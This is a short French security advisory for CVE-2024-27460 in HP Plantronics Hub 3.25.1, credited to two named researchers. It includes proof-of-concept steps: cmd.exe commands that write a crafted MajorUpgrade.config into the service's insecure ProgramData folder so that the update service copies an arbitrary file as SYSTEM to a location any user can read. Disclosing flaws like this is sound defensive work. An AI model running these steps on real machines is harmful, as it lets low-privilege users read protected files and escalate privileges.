CVE-2024-27460

HP Plantronics Hub 3.25.1 Mise à jour - Escalade de privilèges / Lecture arbitraire de fichiers

Description :

HP Plantronics Hub 3.25.1 présente un bogue qui permet aux utilisateurs à faibles privilèges de lire arbitrairement des fichiers en tant que SYSTEM sur la machine où l'application est installée. De plus, il est possible d'exploiter cette faille pour élever ses privilèges jusqu'à l'utilisateur SYSTEM.

Versions affectées

HP Plantronics Hub 3.25.1

Service(s) concerné(s)

Chemin non sécurisé : "C:\ProgramData\Plantronics\Spokes3G"

Service : PlantronicsUpdateService

Étapes pour reproduire (POC) :

• Ouvrir cmd.exe
• Naviguer avec cd C:\ProgramData\Plantronics\Spokes3G
• echo ^|^|<FULL-PATH-TO-YOUR-DESIRED-FILE>^|> MajorUpgrade.config
• Le fichier désiré sera copié dans "C:\Program Files (x86)\Plantronics\Spokes3G\UpdateServiceTemp", dossier auquel tout utilisateur authentifié a accès.

Découvert par :

• Farid Zerrouk de Deloitte Belgique
• Alaa Kachouh de Mastercard Europe